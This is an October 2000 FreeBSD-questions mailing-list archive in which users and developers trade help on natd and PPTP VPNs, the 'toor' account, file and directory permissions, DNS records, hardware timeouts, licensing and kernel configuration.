the VPN connection... but not contact DNS or WINS servers across the
VPN.  In addition the connection statistics looked like I was sending
out a lot more data than I was receiving... when usually the inverse
is true.

I don't know much about GRE or MS-PPTP but I recall something about
GRE packets not having proper to addresses on them and natd needing
help to deliver them (thus the pptpalias flag).  So I tried this:

  natd -l -u -m -s -redirect_proto gre 10.0.0.100 -interface de0

...but it doesn't work either.  Can someone give me a hand getting my
behind-the-server clients connecting to a corporate (MS) VPN server
again?

Much appreciated...
Scott

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i just was writing a C program using
fopen and fgetc and fputc and rename.

with a file with perms such as:

=> rw r r  root    user    FILENAME

"user" could read FILENAME (of course)
and then write it to a temp file, and
the rename() it to FILENAME thereby
defeating the fact "user" had no
write permission.  and no, it
is not a suid program.

is something wrong?  3.5.1-RELEASE.


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On Tue, 31 Oct 2000 01:56:36 -0500 (EST)  Michael Johnson wrote:
 +------------------
 | UFS doesnt get fraged like fatXX or NTFS. It does get some fraged , but I
 | have never seen above about 5%
 +------------------

Block fragments in the UFS file system are not the same as fragmented
files under FAT and the like.  The "frag" abbreviation is just an
unfortunate coincidence.  

One description of what a fragment is can be found in section 2.4 of
"Fsck - The UNIX- File System Check Program". This doc can be found in 
/usr/share/doc/smm/03.fsck on most FreeBSD systems.

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I was talking with some people who were installing FreeBSD, and they were
instructed to remove the 'toor' entry in the password file.  I was just
curious, what exactly is the point to having a 'toor' with uid 0?

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I'm still getting the ata0-master timeout error whenever I do a make build.
Even after moving /usr to somewhere in the middle of my harddisk.  Odd thing
is it happens only during phase 4(?) when compiling libcrypto libraries.  Is
there anything fscked up with this libraries?  My cvsup server is
cvsup.uk.freebsd.org as it's the one nearer to me.

I don't think my harddisk is at fault since I'm able to compile under Linux
properly.


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From owner-freebsd-questions  Mon Oct 30 23:39:46 2000
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-On [20001031 08:30], Sean Kelly (smkelly@zombie.org) wrote:
>I was talking with some people who were installing FreeBSD, and they were
>instructed to remove the 'toor' entry in the password file.  I was just
>curious, what exactly is the point to having a 'toor' with uid 0?

To have a backup root account.

toor = root spelled backwards in case people didn't notice yet.

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From owner-freebsd-questions  Mon Oct 30 23:42:34 2000
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-On [20001031 08:35], Rino Mardo (helixfish@gmx.net) wrote:
>I'm still getting the ata0-master timeout error whenever I do a make build.
>Even after moving /usr to somewhere in the middle of my harddisk.

Moving data from one position of your harddisk towards another position
on the same harddisk doesn't matter.  It remains the same harddisk.

>Odd thing is it happens only during phase 4(?) when compiling libcrypto
>libraries.  Is there anything fscked up with this libraries?  My cvsup
>server is cvsup.uk.freebsd.org as it's the one nearer to me.

Cvsup server doesn't influence this.

>I don't think my harddisk is at fault since I'm able to compile under
>Linux properly.

That doesn't mean anything.

Could you please provide us with the exact console messages of ata
[perhaps again, but I missed previous messages of you]?

Thanks,

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From owner-freebsd-questions  Mon Oct 30 23:54: 3 2000
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Hi,

On Tue, Oct 31, 2000 at 08:16:42AM +0200, wibble wrote:
> Hi there....
> 
> I'm having some trouble with a certain environment variable. In Xwindows,
> when I use ANY terminal emulator (xterm, weterm, wterm etc), there is an
> environment variable LC_CTYPE set to 'en_US'. This plays complete havoc. I
> cannot update my locate database, use locate or mount samba shares with
> smbfs until I manually set that variable to ""
> 
> Can anyone tell me what set's that variable so I can kill it very dead? It
> has to do with the locale.......

I suspect you're running GNOME, because that's were I ran into it. I also
suspect that you're not running the latest version of GNOME that is in the
ports, because I believe it's fixed in the latest version.

Ensure you have gnomelibs-1.2.8 installed, and see if the problem goes
away.

HTH,

--Stijn


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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
> gummibear@nettaxi.com
> Sent: den 30 oktober 2000 23:49
> To: questions@FreeBSD.ORG
> Subject: IP Address Management
>
>
>
> Hello!
>
> I was wondering what other sys admins do about IP Address
> management.  By that I mean, the way (or, which method is
> commonly used to apply addresses for different devices) admins
> apply IP addresses to machines, printers, routers, etc.  This
> there a certian convention used?

The convention is probably to do what your teacher did!  In my case, servers
at the bottom, routers at the top, printers and stuff under routers and DHCP
gets the rest.

A C class network gives you 254 addresses which can be divided, for example,
into 1-16 for servers, 240-254 for routers, 224-239 for printers and 17-223
for workstations.  That should give you room to grow.  Basically, the actual
numbers depend on your needs, of course, but the arrangement indicates how I
like to keep track of things.  The host name - at least for servers - has
some kind of logical link to the IP address, too.

Price: $0.02
Value: that's another question!

mvh/regards

James



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* groggy@iname.com <groggy@iname.com> [001030 22:30] wrote:
> i just was writing a C program using
> fopen and fgetc and fputc and rename.
> 
> with a file with perms such as:
> 
> => rw r r  root    user    FILENAME
> 
> "user" could read FILENAME (of course)
> and then write it to a temp file, and
> the rename() it to FILENAME thereby
> defeating the fact "user" had no
> write permission.  and no, it
> is not a suid program.
> 
> is something wrong?  3.5.1-RELEASE.

Yes, you need a better understanding of directory permissions,
most likely "user" has write access to the directory containing
FILENAME via user or group permissions (hence the capability to
create files) and therefore can delete.

If you want a directory where "user" can't do that then you
want to enable the sticky bit on the directory.

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I need freebsd kernel source(each versions)
Would you mind tell me where to download it??
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On Mon, Oct 30, 2000 at 07:37:19AM +0000, Some Person wrote:
> Sorry if its a repeat, last msg bounced back for some off reason.
> 
> Quick question. Has anyone done transparent (ipless) bridging in FreeBSD 
> with IPFW? If so, the thing I'm wondering about is, what would you put for 
> $oip=? 0.0.0.0 or nothing at all?

Are you talking about the variables in the "simple" firewall? That is
a starting point for a routing firewall. You probably want to start
almost from scratch. However, I would think $oip = $iip would be the
best answer.  

> Also, like in OpenBSD with IPFilter, doing transparent bridging you had to 
> filter in one direction only, pass in on <if> internal/external. Wondering 
> if it's the same for IPFW?

  $ man ipfw
     .
     .
     .
     Each incoming or outgoing packet is passed through the ipfw rules.  If
     host is acting as a gateway, packets forwarded by the gateway are pro-
     cessed by ipfw twice.  In case a host is acting as a bridge, packets for-
     warded by the bridge are processed by ipfw once.


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On Mon, Oct 30, 2000 at 10:27:50PM -0800, Scott Gasch wrote:
> Hi all,
> 
> I recently upgraded from 4.0-RELEASE to 4.1.1-STABLE and discovered
> that my natd no longer needs a -pptpalias flag on it.  Before the
> change I used this pptpalias flag to enable my machines behind my bsd
> box to use a VPN to work (one at a time):
> 
>   natd -l -u -m -s -pptpalias 10.0.0.100 -interface de0
> 
> I read a couple of things about changes in libalias that make this
> pptpalias flag unneeded -- apparently the library can figure it out on
> its own now(?).
> 
True.

> So after my upgrade I simply omitted the -pptpalias
> flag and was able to connect and authenticate to a VPN server without
> problems using:
> 
>   natd -l -u -m -s -interface de0
> 
Fine.

> But, unfortunately, my connection stopped working normally after the
> initial connection.  I am able to ping the server on the other end of
> the VPN connection...
> 
That certainly indicates that PPTP is working.

> but not contact DNS or WINS servers across the
> VPN.  In addition the connection statistics looked like I was sending
> out a lot more data than I was receiving... when usually the inverse
> is true.
> 
Maybe, you have some firewall issues with your setup?

> I don't know much about GRE or MS-PPTP but I recall something about
> GRE packets not having proper to addresses on them and natd needing
> help to deliver them (thus the pptpalias flag).  So I tried this:
> 
>   natd -l -u -m -s -redirect_proto gre 10.0.0.100 -interface de0
> 
> ...but it doesn't work either.  Can someone give me a hand getting my
> behind-the-server clients connecting to a corporate (MS) VPN server
> again?
> 
I am going to commit the latest PPTP fixes for libalias(3) to RELENG_4
today, I suggest that you try with them.

Basically, libalias(3) now transparently handles PPTP.  It intercepts
control messages going to/from TCP port 1723, and aliases/dealiases
Call IDs encountered as appropriate.  It also intercepts PPTP GRE
traffic to alter the Call IDs there accordingly.  There exists one
problem -- you can only have one client connecting to the *same* PPTP
server at a time.  The BUGS section of libalias(3) has this documented.
For PPTP clients behind NAT, you do not have to do anything (just make
sure firewalls allow for TCP port 1723 and GRE traffic).  For PPTP
server behind NAT, you need to redirect incoming traffic to TCP port
1723 to a local machine running PPTP server software.


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Chris Fedde wrote:
> 
> On Mon, 30 Oct 2000 13:40:27 -0800 (PST)  Chris Angell wrote:
>  +------------------
>  | The line below pops up often in my dnslogs.  Could anyone tell me what it
>  | is?
>  |
>  | Oct 30 13:33:01 www
>  | named[79]: ns_resp: query(30.1.206.167.in-addr.arpa) NS points to CNAME
>  | (NS1.CV.NET:)
>  +------------------
> 
> The zone file for NS1.CV.NET are misconfigured.  NS records should
> point to A records.  But in this case it looks like the config is
> NS record to CNAME record to A record.  BIND and the RFC do not
> like this.  This is a pretty common mistake.

	It's slightly more correct (and less confusing) to say that the right
side of an NS record should be a hostname. Calling it an A record might
lead someone to believe that they can point NS records at IP addresses. 

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> > The zone file for NS1.CV.NET are misconfigured.  NS records should
> > point to A records.  But in this case it looks like the config is
> > NS record to CNAME record to A record.  BIND and the RFC do not
> > like this.  This is a pretty common mistake.
>
>         It's slightly more correct (and less confusing) to say that the right
>side of an NS record should be a hostname. Calling it an A record might
>lead someone to believe that they can point NS records at IP addresses.

yes, calling the hostname an "A record" is really too sloppy for comfort.

Venerable RFC 1035, page 17, the right side field in a MX-type 
resource record is called the "exchange-dname" :

owner class ttl MX preference exchange-dname

where best practice for exchange-dname is a FQDN, Fully Qualified Domain Name.

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> that the base strcmp, strcasecmp, and all those that ship in the OS do not
> support DBCS, etc ...
> 
>     where would be a good place to start?
In theory you need only setlocale(LC_ALL,"") in begining of main()
Also, notice that locale equivalent for strcmp() is strcoll()
If you wish compare two strings and don't care about case, then just
use toupper/tolower and use strcoll
I don't know about japanese, but for cyrillic it works.
About localized messages, this depends on type of program you write.
For example, for Motif program it is better use native Motif features, and
you'll not have problems with cyrillic, japanese or hebrew (right-to-left)

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At 09:45 31/10/00 +0100, you wrote:

>> > The zone file for NS1.CV.NET are misconfigured.  NS records should
>> > point to A records.  But in this case it looks like the config is
>> > NS record to CNAME record to A record.  BIND and the RFC do not
>> > like this.  This is a pretty common mistake.
>>
>>         It's slightly more correct (and less confusing) to say 
>> that the right
>>side of an NS record should be a hostname. Calling it an A record might
>>lead someone to believe that they can point NS records at IP addresses.
>
>yes, calling the hostname an "A record" is really too sloppy for comfort.
>
>Venerable RFC 1035, page 17, the right side field in a MX-type 
>resource record is called the "exchange-dname" :
>
>owner class ttl MX preference exchange-dname
>
>where best practice for exchange-dname is a FQDN, Fully Qualified Domain Name.

oops, how sloppy of me, :))), better to be: FQHN, Host Name.

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Hello, 
Does somebody know why Sun restrict Java2 source export into Russia?
But, for example, I can download Linux binary?

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Hi Rick,

I would be very interested in hearing some more details too, but I know you can already get quite a bit of information on these topics from the internet. Try searching slashdot.org on the topic `Apple'. You should get a link to a site that discusses running X on MacOS/X, for instance.

Ernst


Rick Hamell wrote:
> 
> 	Hi all! I've (perhaps foolishly) volunteered to teach a class or
> two to our Mac OS Tech Support team about the Unix part of the OS X. Does
> anyone have any good links/documentation to help with this geared towards
> the Non-Mac user? :) I need answers to such things like, IS the
> command prompt still going to be available? If not will we be able
> to add it later on? How stripped down are the commands? Can I go in
> expecting a full system just as if I was in front of a real FreeBSD
> machine? Etc... :) Thanks in advance!
> 
> 					Rick
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Here's a copy of my previous post:

>welp, i still get the same problem even after moving /usr and in fact when
i
>did a cvsup ports i get the error too!

>is this 4.1-R stuff doing it?  bad copy? or just my hd?

> Hi.  I'm doing make world and after an hour of compiling I got the
following
> error message on my console:
>
> ad0: WRITE command timeout - resetting
> ata0: resetting device .. device disappeared! 1 ata0 - master: timeout
> writing to give commands: C6 S=80 e=00
>
>
> I initial diagnosis is because my /usr is on the innermost part (as in
> nearer the spindle) of my hd. so what i did is reinstalled and made sure
my
> /usr is somewhere in the middle of my hd.
>
> is my analysis right?


> -----Original Message-----
> From: Jeroen Ruigrok van der Werven [mailto:jruigrok@via-net-works.nl]
> Sent: Tuesday, October 31, 2000 11:42 AM
> To: Rino Mardo
> Cc: fbsd; sos@FreeBSD.ORG
> Subject: Re: Still unable to upgrade to stable
>
>
> -On [20001031 08:35], Rino Mardo (helixfish@gmx.net) wrote:
> >I'm still getting the ata0-master timeout error whenever I do a
> make build.
> >Even after moving /usr to somewhere in the middle of my harddisk.
>
> Moving data from one position of your harddisk towards another position
> on the same harddisk doesn't matter.  It remains the same harddisk.
>
> >Odd thing is it happens only during phase 4(?) when compiling libcrypto
> >libraries.  Is there anything fscked up with this libraries?  My cvsup
> >server is cvsup.uk.freebsd.org as it's the one nearer to me.
>
> Cvsup server doesn't influence this.
>
> >I don't think my harddisk is at fault since I'm able to compile under
> >Linux properly.
>
> That doesn't mean anything.
>
> Could you please provide us with the exact console messages of ata
> [perhaps again, but I missed previous messages of you]?
>
> Thanks,
>
> --
> Jeroen Ruigrok van der Werven          Network- and systemadministrator
> <jruigrok@via-net-works.nl>            VIA Net.Works The Netherlands
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Subject: RE: Still unable to upgrade to stable
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Here's my previous post.  Thanks for responding.

>welp, i still get the same problem even after moving /usr and in fact when
i
>did a cvsup ports i get the error too!

>is this 4.1-R stuff doing it?  bad copy? or just my hd?


>-> who watches the watchmen?

>Key fingerprint - E619 726E 3815 7A48 EAC7  E49F DF93 4E33 B069 0883
>----- Original Message -----
>From: "Rino Mardo" <helixfish@gmx.net>
>To: "fbsd" <freebsd-questions@freebsd.org>
>Sent: Sunday, October 29, 2000 10:10 AM
>Subject: Is this a hd problem?


> Hi.  I'm doing make world and after an hour of compiling I got the
following
> error message on my console:
>
> ad0: WRITE command timeout - resetting
> ata0: resetting device .. device disappeared! 1 ata0 - master: timeout
> writing to give commands: C6 S=80 e=00
>
>
> I initial diagnosis is because my /usr is on the innermost part (as in
> nearer the spindle) of my hd. so what i did is reinstalled and made sure
my
> /usr is somewhere in the middle of my hd.
>
> is my analysis right?





> Could you please provide us with the exact console messages of ata
> [perhaps again, but I missed previous messages of you]?
>
> Thanks,
>
> --
> Jeroen Ruigrok van der Werven          Network- and systemadministrator
> <jruigrok@via-net-works.nl>            VIA Net.Works The Netherlands
> BSD: Technical excellence at its best  http://www.via-net-works.nl
> The wisdom of the wise, and the experience of ages, may be preserved by
> quotations...
>



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Moin,

i've setup a FreeBSD 4.0 box. Sysinstall suggest 'operator' as the ftp
"standard" group. Why so much permissions? Isn't somthing like
'nogroup' a better choice?

Many thanks
Matthias


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Matthias Teege wrote to freebsd-questions@FreeBSD.ORG:

> 
> Moin,
> 
> i've setup a FreeBSD 4.0 box. Sysinstall suggest 'operator' as the ftp
> "standard" group. Why so much permissions? Isn't somthing like
> 'nogroup' a better choice?

Well, not really... You don't really want to have an ftp tree owned by
nogroup.  Better is to use 'operator' and invite the ftp administrator(s)
into that group.


> Many thanks
> Matthias
> 
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From owner-freebsd-questions  Tue Oct 31  2: 0:38 2000
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Sean Kelly wrote to questions@FreeBSD.ORG:

> I was talking with some people who were installing FreeBSD, and they were
> instructed to remove the 'toor' entry in the password file.  I was just
> curious, what exactly is the point to having a 'toor' with uid 0?

I remember somewhat of a religious war on this topic a month or two (or
more) ago.  Tread softly with this thread, my friend :-)

I'll summarize.  toor can be used to

 a) Provide an alternate account for root access under a different name.
	Actually, it doesn't have to be called toor.  Toor is just root
	spelled backwards.. no-brainer, there... Most people recommend
	removing toor because not a lot of people use toor, and it just
	represents another (potential) point of access into the system.
	In other words, "don't enable what you don't use" paradigm.

 b) Provide the system administrator with a comfortable working
	environment (i.e., an alternate login shell).  It is good to
	leave root's shell alone--i.e., leave it point to a shell
	in /bin/ such as sh, [t]csh, etc, so that it can be used in
	single user mode when other partitions (containing libraries
	that aren't statically linked, and other useful partitions,
	such as /usr) are not mounted.

	toor, on the other hand, can have any shell under the sun.
	Administrators who prefer, say, bash, over sh or csh can
	simply set toor's shell to /usr/bin/bash and use toor for
	all system admin duties in multi-user mode.

	Some would argue that you should use ``su -m'' from a regular
	user account instead of toor.  This is debatable (and HAS
	been debated).

If you want more information, I encourage you to search the mailing list
archives for 'toor'.  You'll find a lot of information.

- Ryan

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> 
> Rick Hamell wrote:
> > 
> > 	Hi all! I've (perhaps foolishly) volunteered to teach a class or
> > two to our Mac OS Tech Support team about the Unix part of the OS X. Does
> > anyone have any good links/documentation to help with this geared towards
> > the Non-Mac user? :) I need answers to such things like, IS the
> > command prompt still going to be available? If not will we be able
> > to add it later on? How stripped down are the commands? Can I go in
> > expecting a full system just as if I was in front of a real FreeBSD
> > machine? Etc... :) Thanks in advance!

See 'Inside Mac OS X's Unix Layer':
http://daily.daemonnews.org/view_story.php3?story_id=1189  

or 'BSD and MAc OS X':
...?story_id=1166

Apple's link:
http://www.apple.com/macosx

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Chris Fedde wrote:
> 
> On Tue, 31 Oct 2000 12:08:38 +0600  "Viktor A. Fomichev" wrote:
>  +------------------
>  | Hi!
>  |
>  | /etc/resolv.conf
>  |      #
>  |      nameserver 192.168.10.130
>  |      #
>  +------------------
> 
> Does the problem persist if there is a 'domain' directive in the
> resolv.conf file?
Yes.
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> chris
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Chris Fedde <chris@fedde.littleton.co.us> types:
> On Mon, 30 Oct 2000 14:48:35 -0800  "gummibear@nettaxi.com" wrote:
>  | Hello!
>  | 
>  | I was wondering what other sys admins do about IP Address management.  By th
> at I mean, the way (or, which method is commonly used to apply addresses for di
> fferent devices) admins apply IP addresses to machines, printers, routers, etc.
>   This there a certian convention used?
>  | 
>  | Anyways, I just wanted to know if there are any undocumented standards or co
> nventions to the application of IP addresses.
> It's realy a non-issue when you get right down to it.   These days
> the first machine I configure gets the first address the second
> gets the second and so on.  When devices become de-commissioned I
> simply re-assign the address to the next system that needs one.

One thing to watch for is things you may want to put on different
subnets later for some reason. For example, I have two classes of
machines on one C net. By reserver .127 and .128, and putting one
class on .1-.126 and the other on .129-.254, splitting the subnet
becomes trivial later. This also makes firewalls that distinguish
between the two classes of machines simpler.

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What is the default password for toor?

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Anybody familiar with fetchmail? i got serious problems in multidrop-mode
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well, i know these problems are known. i know there is a whlole section
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---------------------------------- 
defaults proto pop3 nokeep fetchall 
set no bouncemail 
set daemon 900 
poll mymailhost localdomains goelz.com: 
  envelope 1 received 
  user	xxxxxx	has password   xxxxxx  to * here 

---------------------------------- 

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James A Wilde wrote to Ryan Thompson and Sean Kelly:

> What is the default password for toor?

*  (i.e., no password/disabled).

Use passwd(1) as root to set it.


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> mvh/regards
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> James
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default is "root" with no password... just enough to get you on to the
system so you can add other users and passwds for each. you can also use the
"passwd" utility to change the password for root and others.
-Otter

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Hi All,

is it possbile to set serial ports (sio*) in FreeBSD to higher rates than
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Hello
after i change kernel (boot -c >visual > quit+ save) all orderly, but after
rebooting kernel forgets all changes

help please

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Dear freebsd.org,
   I am PISSED!!! I used to be a winblows user, converted to Linux, and
ran OpenBSD for a few months. But since I've installed the $49.99
CompUSA boxed version of FreeBSD 4.0, when I run startx my system
crashes! Is this what you consider to be "rock-solid stability??" 
Sometimes when I run startx, I get X to work. The other times, my
system crashes to a point where I need to do a physical powerdown
of my machine, cause even ctrl-alt-del wont work. 
   I have a pentium 2 300MHz class machine, with an SiS 5598
video board. Nobody in the chat rooms knows anything about what I'm
talking about. And I am PISSED!!! OpenBSD was working great (even via an
ftp install!) But no, FreeBSD wants to be the luser in my box!!
What should I do to fix this problem???
Please email me with the fix!



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Try in Your .cshrc (or command line "ftp -i ftp.site.net"):
alias ftp	ftp -i

For me this work good: I do "mget *" and whole directory download with out
pressing key Y.

Best regards!
Sorry for my bad english!
Serge.

On Mon, 30 Oct 2000, Zaitsau, Andrei wrote:

> Hello,
> I know this is really RTFM question,
> but can you tell me how can I download the whole directory via FTP (console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I
> tried mget * , but it asks me for a confirmation for every single file.
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On Tue, 31 Oct 2000, Charlie Root wrote:

>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> ran OpenBSD for a few months. But since I've installed the $49.99
> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> crashes! Is this what you consider to be "rock-solid stability??" 

Have you read the FreeBSD handbook chapter on XFree86? Have you read the
XFree86 documentation itself?

X-Window has a tendency to crash when you configure it wrong. You might
want to look at that first, before you have your next tantrum on a public
mailing list because your new toy won't work.

G
---
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   at the end of your tunnel was just a freight
            train, comin' your way."

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On Mon, Oct 30, 2000 at 09:03:03PM -0700, Chris Wasser wrote:
> 
> It's a nice little perl script by Thomas Sch?rger <thomas@schuerger.com>,
> you could mail him for it, I've also put it online for anyone who's
> interested in getting it:
Or just use
pkg_version -c | more

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On Tue, 31 Oct 2000, Charlie Root wrote:

> Dear freebsd.org,
>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> ran OpenBSD for a few months. But since I've installed the $49.99
> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> crashes! Is this what you consider to be "rock-solid stability??" 
> Sometimes when I run startx, I get X to work. The other times, my
> system crashes to a point where I need to do a physical powerdown
> of my machine, cause even ctrl-alt-del wont work. 
>    I have a pentium 2 300MHz class machine, with an SiS 5598
> video board. Nobody in the chat rooms knows anything about what I'm
> talking about. And I am PISSED!!! OpenBSD was working great (even via an
> ftp install!) But no, FreeBSD wants to be the luser in my box!!
> What should I do to fix this problem???
> Please email me with the fix!

You have maybe configured XFree86 wrong!!
If you were happy with OpenBSD why switch ?

Johan
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On Tue, Oct 31, 2000 at 08:39:36AM +0100, Jeroen Ruigrok van der Werven wrote:
> -On [20001031 08:30], Sean Kelly (smkelly@zombie.org) wrote:
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> 
> To have a backup root account.
> 
> toor = root spelled backwards in case people didn't notice yet.
It _can't_ be backup "root" just because by default you can't login 
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Look at other post for reasonable description 

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Hello,

is there a FreeBSD version available that runs on an Apple PowerBook G3
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I think what is happening is that the embedded PCI definitions have not been
removed from the kernel  after the initial bootup.  It probably DOES use the
setup you gave it during the install, but there is so much more.  You need to
remove unneeded parameters in your kernel after loading freebsd and compile a
new kernel.  For instance, I'm sure you don't have all the net cards listed in
the kernel actually in your machine.  Take the extra junk out.  This is a good
time to redefine the amount of memory you have also, as Freebsd initially does
not recognize above 16MB memory

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	Hello
	after i change kernel (boot -c >visual > quit+ save) all orderly, but
after
	rebooting kernel forgets all changes

	help please

	Best regards,
	Sergey Gorbunov



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On Tue, 31 Oct 2000 at 14:30:18 +0100, Carsten Schmidt wrote:
> Hello,
> 
> is there a FreeBSD version available that runs on an Apple PowerBook
> G3?

No, not yet.  Try NetBSD -- http://www.NetBSD.org/.

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Hi everyone 
	
	My name is Rajan and i am new to freebsd , i am doing a case
study in  freebsd networking(OS) , can anyone that where can i get
pointers to stuff related to freebsd networking . I have already gone through the 
handbook at the freebsd.org site i could not find any thing that would be
useful to me . I want information about the data structures and stuff like
that .  Please help me 
	Thank you in advance 





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On Tue, Oct 31, 2000 at 07:30:33PM +0530, Thiyagarajan M-RollNo.99087 wrote:
> 
> Hi everyone 
> 	
> 	My name is Rajan and i am new to freebsd , i am doing a case
> study in  freebsd networking(OS) , can anyone that where can i get
> pointers to stuff related to freebsd networking . I have already gone through the 
> handbook at the freebsd.org site i could not find any thing that would be
> useful to me . I want information about the data structures and stuff like
> that .  Please help me 
> 	Thank you in advance 
> 
A good start would be a /usr/share/doc/smm/18.net/paper.ascii.gz document.

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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Potts, Ross
> Sent: Tuesday, October 31, 2000 6:37 PM
> To: 'Sergey Gorbunov'; Freebsd-Questions
> Subject: RE: freebsd 4.0 kernel config
>
>
> I think what is happening is that the embedded PCI definitions
> have not been
> removed from the kernel  after the initial bootup.  It probably
> DOES use the
> setup you gave it during the install, but there is so much more.
> You need to
> remove unneeded parameters in your kernel after loading freebsd
> and compile a
> new kernel.  For instance, I'm sure you don't have all the net
> cards listed in
> the kernel actually in your machine.  Take the extra junk out.
> This is a good
> time to redefine the amount of memory you have also, as Freebsd
> initially does
> not recognize above 16MB memory

No, this is my custom builded kernel, and i install 2 multi-port adapters in
it (but i can use only one of them)
or more simply : later me it is necessary will change irq one of the
adapter, but these change are not written in kernel :(
every time recompile kernel once again - a haemorrhoid

exactly in the same way with old isa NE2000 non PNP adapters

>
> 	-----Original Message-----
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>
>
> 	Hello
> 	after i change kernel (boot -c >visual > quit+ save) all
> orderly, but
> after
> 	rebooting kernel forgets all changes
>
> 	help please
>
> 	Best regards,
> 	Sergey Gorbunov
>
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I have a question about the legalities of using FreeBSD in a for-profit 
institution...

I am the network admin for the International Business College in Lubbock, 
TX.  This is a for-profit school offering IT classes and other one-year 
certificate program.  I am curious as to whether we can replace some of our 
NT servers and our SCO server with FreeBSD, or is that against the rules?

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Nope.  From the FreeBSD homepage:
FreeBSD is an advanced BSD UNIX operating system for the Intel compatible
(x86), DEC Alpha, and PC-98 architectures. 

(In other words no powerpc)

But NetBSD does.  Where their motto is "Of course it runs on NetBSD"
See www.netbsd.org/Ports/macppc     or
http://www.netbsd.org/Ports/macppc/models.html

OpenBSD development code will run on G4's (presumably G3's)  but not the
powerbook yet.  Hope that helps,

					Tim



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> 
> is there a FreeBSD version available that runs on an Apple PowerBook G3
> ?
> 
> Many thanks for your help,
>   --Carsten
> 
> 
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On Tue, Oct 31, 2000 at 07:30:33PM +0530, Thiyagarajan M-RollNo.99087 wrote:
> study in  freebsd networking(OS) , can anyone that where can i get
> pointers to stuff related to freebsd networking . I have already gone through the 
> handbook at the freebsd.org site i could not find any thing that would be
> useful to me . I want information about the data structures and stuff like
> that .  Please help me 
Hello, Rajan
But what do you wish about FreeBSD networking, which is not in handbook? 

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I dont see a problem as long as you support the project and buy the
cd's (that way everyone is happy)

Any legal buffs care to comment?



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I have a question about the legalities of using FreeBSD in a
for-profit 
institution...

I am the network admin for the International Business College in
Lubbock, 
TX.  This is a for-profit school offering IT classes and other
one-year 
certificate program.  I am curious as to whether we can replace some
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>I have a question about the legalities of using FreeBSD in a for-profit 
>institution...
>
>I am the network admin for the International Business College in Lubbock, 
>TX.  This is a for-profit school offering IT classes and other one-year 
>certificate program.  I am curious as to whether we can replace some of our 
>NT servers and our SCO server with FreeBSD, or is that against the rules?
>
>Any help you can give me would be great.

  There is absolutely no problem with you doing that and no special licensing
is needed.

-DG

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On Tue, 31 Oct 2000, Oliver Mills wrote:


  At your shell prompt type "ftp <site name>"

> How do i access ftp sites through Free Bsd?
> 
> Regards 
> 
> Oliver Mills
> 

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>I dont see a problem as long as you support the project and buy the
>cd's (that way everyone is happy)

   He isn't required to do either one. He can take FreeBSD, stick it on all of
his servers and say "screw you" to the lot of us, and it is still perfectly
legal. What he can't do is strip off the copyrights from the source code and
call it his own. Just about anything else is okay though.

-DG

David Greenman
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I have a second hard drive in my FreeBSD box, running release 4.1.1.  
I have added the drive to /etc/fstab with the following line:

/dev/ad3s1 /server_root msdos rw 1 1

I have also tried 0 0, and 2 2 for the Dump and Pass#.  I'll admit I have no real basis for this, other than the fact that the other partitions used 2 2, except root..

The partition mounts fine, I can read and write from root, but I absolutely cannot change the file permissions or own of any of the files.  I have tried chmod from root, repeated, and get nothing.  Is is not possible to change the permissions of a drive
that is FAT/FAT32?



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On Tue, Oct 31, 2000 at 11:33:54AM -0500, degraz@sbohm.yi.org wrote:
> I have a second hard drive in my FreeBSD box, running release 4.1.1.  
> I have added the drive to /etc/fstab with the following line:
> 
> /dev/ad3s1 /server_root msdos rw 1 1
> 
> I have also tried 0 0, and 2 2 for the Dump and Pass#.  I'll admit I have no real basis for this, other than the fact that the other partitions used 2 2, except root..
> 
> The partition mounts fine, I can read and write from root, but I absolutely cannot change the file permissions or own of any of the files.  I have tried chmod from root, repeated, and get nothing.  Is is not possible to change the permissions of a drive
> that is FAT/FAT32?

No, as FAT doesn't support owners, etc. The way to do it is to chown the
mount point (when it's not mounted obviously) then all files under there
inherit that owner.

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Trueb, but its always nice to give back :+) (Coming from a OpenBSD
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>I have a question about the legalities of using FreeBSD in a for-profit
>institution...
>
>I am the network admin for the International Business College in Lubbock,
>TX.  This is a for-profit school offering IT classes and other one-year
>certificate program.  I am curious as to whether we can replace some of our
>NT servers and our SCO server with FreeBSD, or is that against the rules?
>
>Any help you can give me would be great.

  There is absolutely no problem with you doing that and no special
licensing
is needed.

-DG

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Sorry, I should have told everybody that this is a FreeBSD-3.x machine. I thought that I had followed the LINT instructions in 3.x. I
recompiled and rebooted and everything worked. However, the da0, da1, da2, and da3 disks where found at da0, da1, da2, and da3. This
appears to be in contrary to what you said and also what I read in LINT. Does it matter that these disks are on a totally different SCSI
adapter. Will they still be found as da5, da6, da7, da8 even though the wired down device is on a differenct SCSI card? Thanks for the
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> On Mon, 30 Oct 2000, Greg Skouby wrote:
> 
> > device          da0             # Direct Access (disks)
> > controller 	ahc0
> > controller      scbus0 at ahc0
> > controller      ahc1
> > controller      scbus1 at ahc1
> > device          da4 at scbus1 target 0
> > 
> > I have four disks (da0, da1, da2, da3) that are connected via an
> > external SCSI connector (which is ahc0). I have an internal SCSI drive
> > (da4) that I have on ahc1. They work fine with the generic kernel but
> > I want to wire down the da4 drive so that it always gets the device
> > name da4. Will this kernel config (along with all the other parts of
> > the GENERIC kernel) get the job done or am I missing something? Thanks
> > for your time.
> 
> The above will not work on FreeBSD-4.x kernels.  LINT has info how to wire
> down a unit.  Be aware that "if you wire a disk as "da3" then the first
> non-wired disk will be assigned da4."
> 
> --
>  
>  :{ andyf@speednet.com.au
>   
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	I want to know how is networking implemented inside the OS 
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Hello freebsd-questions,

I have a problem with compiling KDE on FreeBSD 4.1.1.  I have always
the newest ports installed with cvsup, but i get the following error
in kdelibs2:

I hope no one kills me if i post a little like this, i try to compile
KDE now for 3 days and maybe someone can help me it would be very
great.

Normally i try to solve everything by myself but this time i have no
answer for the problem. I hope that someone helps me.

===>  Building for kdebase-2.0
gmake  all-recursive
gmake[1]: Entering directory `/usr/ports/x11/kdebase2/work/kdebase-2.0'
Making all in libkonq
gmake[2]: Entering directory `/usr/ports/x11/kdebase2/work/kdebase-2.0/libkonq'
